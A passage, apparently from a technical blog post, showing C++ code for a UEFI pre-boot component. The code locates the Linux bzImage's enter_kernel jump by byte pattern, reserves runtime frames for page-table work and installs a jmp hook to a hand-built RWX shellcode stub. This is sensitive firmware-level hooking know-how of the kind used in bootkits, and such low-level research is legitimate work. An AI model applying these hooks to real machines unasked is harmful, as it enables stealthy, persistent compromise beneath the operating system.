</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">          <span class="n">actual</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">          <span class="n">actual</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">actual</span> <span class="o">!=</span> <span class="n">expected</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">pos</span> <span class="o">-=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">req_mov_rsi</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// blind searching for this heuristic often finds 2 matches, we need the one jumping to 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// startup_64. before enter_kernel(kernel_entry, boot_params), bzImage calls sev_enable
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// and efi_5level_switch. Therefore, two E8 call instructions has to be 5 bytes apart
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// and precede the enter_kernel inline
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// https://elixir.bootlin.com/linux/v7.1.8/source/drivers/firmware/efi/libstub/x86-stub.c#L1040
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xE8</span> <span class="cm">/* efi_5level_switch() */</span> <span class="o">&amp;&amp;</span> <span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="n">i</span> <span class="o">-</span> <span class="mi">5</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xE8</span> <span class="cm">/* sev_enable() */</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="o">*</span><span class="n">what_reg</span> <span class="o">=</span> <span class="n">dst</span> <span class="o">|</span> <span class="p">((</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span> <span class="o">?</span> <span class="mb">0b1000</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>With bzImage address and length, finding <code>enter_kernel</code> becomes trivial: loop through the bzImage calling <code>is_enter_kernel</code>. But some memory allocation will be needed through the way, so we allocate a few frames using EfiRuntimeServicesData memory before <code>ExitBootServices</code>, as those pages are untouched and respected with no chance of overwrites to their PA:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">hooks</span><span class="o">::</span><span class="n">bzimage</span><span class="o">::</span><span class="n">do_hook_bzimage</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">bzimage_base</span><span class="p">,</span> <span class="n">size_t</span> <span class="n">size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">enter_kernel_addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">frame_count</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">frames_identity_map</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">frames_brk_tmp_map</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">frames_extra</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">driver_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">EFI_STATUS</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">reg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">la57</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// bool deferred_path;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">&#34;Looking for enter_kernel...</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">enter_kernel_addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">heuristic</span><span class="o">::</span><span class="n">is_enter_kernel</span><span class="p">(</span><span class="n">bzimage_base</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">reg</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">enter_kernel_addr</span> <span class="o">=</span> <span class="n">bzimage_base</span> <span class="o">+</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">enter_kernel_addr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_ERROR</span><span class="p">,</span> <span class="s">&#34;Failed to find enter_kernel in bzImage</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">la57</span> <span class="o">=</span> <span class="n">AsmReadCr4</span><span class="p">()</span> <span class="o">&amp;</span> <span class="n">CR4_LA57</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">driver_len</span> <span class="o">=</span> <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_len</span><span class="p">,</span> <span class="n">PS_4K</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">frames_identity_map</span> <span class="o">=</span> <span class="n">pt</span><span class="o">::</span><span class="n">frame_count</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_pa</span><span class="p">,</span> <span class="n">driver_len</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">frames_brk_tmp_map</span> <span class="o">=</span> <span class="n">la57</span> <span class="o">?</span> <span class="mi">5</span> <span class="o">:</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">frames_extra</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">frame_count</span> <span class="o">=</span> <span class="n">frames_identity_map</span> <span class="o">+</span> <span class="n">frames_brk_tmp_map</span> <span class="o">+</span> <span class="n">frames_extra</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">res</span> <span class="o">=</span> <span class="n">pt</span><span class="o">::</span><span class="n">reserved_pool</span><span class="o">::</span><span class="n">init_pool</span><span class="p">(</span><span class="n">frames_extra</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">res</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_ERROR</span><span class="p">,</span> <span class="s">&#34;Failed to allocate page table reserved pool (%r)</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">res</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// TODO: implement SetVirtualAddressMap hook for deferred kernel patch logic
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Allocated EFI frame pool with %Lu entries</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">frame_count</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">try_hook_enter_kernel</span><span class="p">(</span><span class="n">enter_kernel_addr</span><span class="p">,</span> <span class="n">reg</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_ERROR</span><span class="p">,</span> <span class="s">&#34;Failed to hook enter_kernel at %Lx</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">enter_kernel_addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>For context, our frame pool is used to manage frames when manipulating page tables:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">size_t</span> <span class="n">pt</span><span class="o">::</span><span class="n">frame_count</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">base</span><span class="p">,</span> <span class="n">uintptr_t</span> <span class="n">size</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">level</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">pml5_frames</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">pml4_frames</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">pdpt_frames</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">pd_frames</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">pt_frames</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">la57</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">auto</span> <span class="n">required_tables</span> <span class="o">=</span> <span class="p">[</span><span class="o">&amp;</span><span class="p">](</span><span class="n">uintptr_t</span> <span class="n">shift</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">uintptr_t</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">((</span><span class="n">base</span> <span class="o">+</span> <span class="n">size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="n">shift</span><span class="p">)</span> <span class="o">-</span> <span class="p">(</span><span class="n">base</span> <span class="o">&gt;&gt;</span> <span class="n">shift</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">la57</span> <span class="o">=</span> <span class="n">AsmReadCr4</span><span class="p">()</span> <span class="o">&amp;</span> <span class="n">CR4_LA57</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">pml5_frames</span> <span class="o">=</span> <span class="p">(</span><span class="n">la57</span> <span class="o">&amp;&amp;</span> <span class="n">level</span> <span class="o">&gt;=</span> <span class="mi">5</span><span class="p">)</span> <span class="o">?</span> <span class="n">required_tables</span><span class="p">(</span><span class="n">PML5_INDEX</span><span class="p">)</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">pml4_frames</span> <span class="o">=</span> <span class="p">(</span><span class="n">level</span> <span class="o">&gt;=</span> <span class="mi">4</span><span class="p">)</span> <span class="o">?</span> <span class="n">required_tables</span><span class="p">(</span><span class="n">PML4_INDEX</span><span class="p">)</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">pdpt_frames</span> <span class="o">=</span> <span class="p">(</span><span class="n">level</span> <span class="o">&gt;=</span> <span class="mi">3</span><span class="p">)</span> <span class="o">?</span> <span class="n">required_tables</span><span class="p">(</span><span class="n">PDPT_INDEX</span><span class="p">)</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">pd_frames</span> <span class="o">=</span> <span class="p">(</span><span class="n">level</span> <span class="o">&gt;=</span> <span class="mi">2</span><span class="p">)</span> <span class="o">?</span> <span class="n">required_tables</span><span class="p">(</span><span class="n">PD_INDEX</span><span class="p">)</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">pt_frames</span> <span class="o">=</span> <span class="p">(</span><span class="n">level</span> <span class="o">&gt;=</span> <span class="mi">1</span><span class="p">)</span> <span class="o">?</span> <span class="n">required_tables</span><span class="p">(</span><span class="n">PT_INDEX</span><span class="p">)</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">pml5_frames</span> <span class="o">+</span> <span class="n">pml4_frames</span> <span class="o">+</span> <span class="n">pdpt_frames</span> <span class="o">+</span> <span class="n">pd_frames</span> <span class="o">+</span> <span class="n">pt_frames</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">pt</span><span class="o">::</span><span class="n">new_frame</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">EFI_PHYSICAL_ADDRESS</span> <span class="n">frame</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">state</span> <span class="o">&amp;</span> <span class="n">POST_EXIT_BOOT_SERVICES</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">state</span> <span class="o">&amp;</span> <span class="n">KERNEL_MANAGED_FRAME_POOL_AVAILABLE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">frame</span> <span class="o">=</span> <span class="n">kernel_managed_pool</span><span class="o">::</span><span class="n">get_next</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="n">frame</span> <span class="o">=</span> <span class="n">reserved_pool</span><span class="o">::</span><span class="n">get_next</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">frame</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">AllocatePages</span><span class="p">(</span><span class="n">AllocateAnyPages</span><span class="p">,</span> <span class="n">EfiRuntimeServicesData</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">frame</span><span class="p">)</span> <span class="o">!=</span> <span class="n">EFI_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">SetMem</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">frame</span><span class="p">),</span> <span class="n">EFI_PAGE_SIZE</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">frame</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">pt</span><span class="o">::</span><span class="n">reserved_pool</span><span class="o">::</span><span class="n">get_next</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">next</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">reserved_used</span> <span class="o">&gt;=</span> <span class="n">reserved_capacity</span> <span class="o">||</span> <span class="o">!</span><span class="n">reserved_frames</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Failed to get next frame as there is none left</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">next</span> <span class="o">=</span> <span class="n">reserved_frames</span> <span class="o">+</span> <span class="p">(</span><span class="n">reserved_used</span> <span class="o">*</span> <span class="n">EFI_PAGE_SIZE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">reserved_used</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">next</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">EFI_STATUS</span> <span class="n">pt</span><span class="o">::</span><span class="n">reserved_pool</span><span class="o">::</span><span class="n">init_pool</span><span class="p">(</span><span class="n">size_t</span> <span class="n">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">EFI_PHYSICAL_ADDRESS</span> <span class="n">frames</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">EFI_STATUS</span> <span class="n">status</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">page_count</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// UINT64_MAX / EFI_PAGE_SIZE would overflow
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">==</span> <span class="n">UINT64_MAX</span> <span class="o">/</span> <span class="n">EFI_PAGE_SIZE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">EFI_INVALID_PARAMETER</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">page_count</span> <span class="o">=</span> <span class="n">count</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">status</span> <span class="o">=</span> <span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">AllocatePages</span><span class="p">(</span><span class="n">AllocateAnyPages</span><span class="p">,</span> <span class="n">EfiRuntimeServicesData</span><span class="p">,</span> <span class="n">page_count</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">frames</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">status</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">status</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">SetMem</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">frames</span><span class="p">),</span> <span class="n">page_count</span> <span class="o">*</span> <span class="n">EFI_PAGE_SIZE</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">reserved_frames</span> <span class="o">=</span> <span class="n">frames</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">reserved_capacity</span> <span class="o">=</span> <span class="n">page_count</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">reserved_used</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">status</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>And &rsquo;try_hook_enter_kernel`:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">hooks</span><span class="o">::</span><span class="n">bzimage</span><span class="o">::</span><span class="n">try_hook_enter_kernel</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">jmp_insn_address</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">reg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">void</span> <span class="o">*</span><span class="n">stub</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">stub</span> <span class="o">=</span> <span class="n">make_enter_kernel_hook_stub</span><span class="p">(</span><span class="n">reg</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">stub</span> <span class="o">==</span> <span class="k">nullptr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_ERROR</span><span class="p">,</span> <span class="s">&#34;Couldn&#39;t allocate stub for enter_kernel hook</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">enter_kernel_hook_context</span><span class="p">.</span><span class="n">hooked</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">jmp_hook</span><span class="p">(</span><span class="n">jmp_insn_address</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">stub</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">enter_kernel_hook_context</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_ERROR</span><span class="p">,</span> <span class="s">&#34;Could not hook enter_kernel with a standard jmp hook</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">&#34;Hooked enter_kernel with a standard jmp hook</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The hook logic varies with the jmp destination register. Since we know what register it jumps to, make a stub that saves it (manual shellcoding adapted to destination register):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span><span class="n">hooks</span><span class="o">::</span><span class="n">bzimage</span><span class="o">::</span><span class="n">make_enter_kernel_hook_stub</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="n">reg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">EFI_PHYSICAL_ADDRESS</span> <span class="n">stub</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">stub_b</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">bs</span><span class="o">-&gt;</span><span class="n">AllocatePages</span><span class="p">(</span><span class="n">AllocateAnyPages</span><span class="p">,</span> <span class="n">EfiRuntimeServicesCode</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">stub</span><span class="p">)</span> <span class="o">!=</span> <span class="n">EFI_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">mark_page_present</span><span class="p">(</span><span class="n">stub</span><span class="p">,</span> <span class="n">ENTRY_RW</span> <span class="cm">/* no NX for RWX */</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">stub_b</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">stub</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">stub_b</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">P_REX</span> <span class="o">|</span> <span class="n">P_W_BIT</span> <span class="o">|</span> <span class="p">((</span><span class="n">reg</span> <span class="o">&amp;</span> <span class="mb">0b1000</span><span class="p">)</span> <span class="o">?</span> <span class="nl">P_B_BIT</span> <span class="p">:</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// 64 bit
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">stub_b</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x90</span> <span class="o">+</span> <span class="p">(</span><span class="n">reg</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">);</span> <span class="c1">// xchg ax, reg
